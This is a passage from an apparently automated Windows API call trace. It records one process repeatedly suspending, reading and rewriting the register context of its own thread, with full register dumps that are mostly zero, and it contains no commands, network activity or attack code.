FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0105.145] ResumeThread (hThread=0x130) returned 0x1
[0105.145] CloseHandle (hObject=0x130) returned 1
[0105.145] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.180] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.214] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.289] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.369] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0105.369] SuspendThread (hThread=0x130) returned 0x0
[0105.369] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001478c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x134ea20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0105.437] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001478b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0105.504] ResumeThread (hThread=0x130) returned 0x1
[0105.504] CloseHandle (hObject=0x130) returned 1
[0105.505] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.538] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.572] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.654] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0105.728] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0105.729] SuspendThread (hThread=0x130) returned 0x0
[0105.729] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147798, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x134da80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0105.928] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147790, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0105.998] ResumeThread (hThread=0x130) returned 0x1
[0105.998] CloseHandle (hObject=0x130) returned 1
[0105.998] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.041] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.086] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.171] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0106.261] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0106.261] SuspendThread (hThread=0x130) returned 0x0
[0106.262] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001478f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13c5380, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, 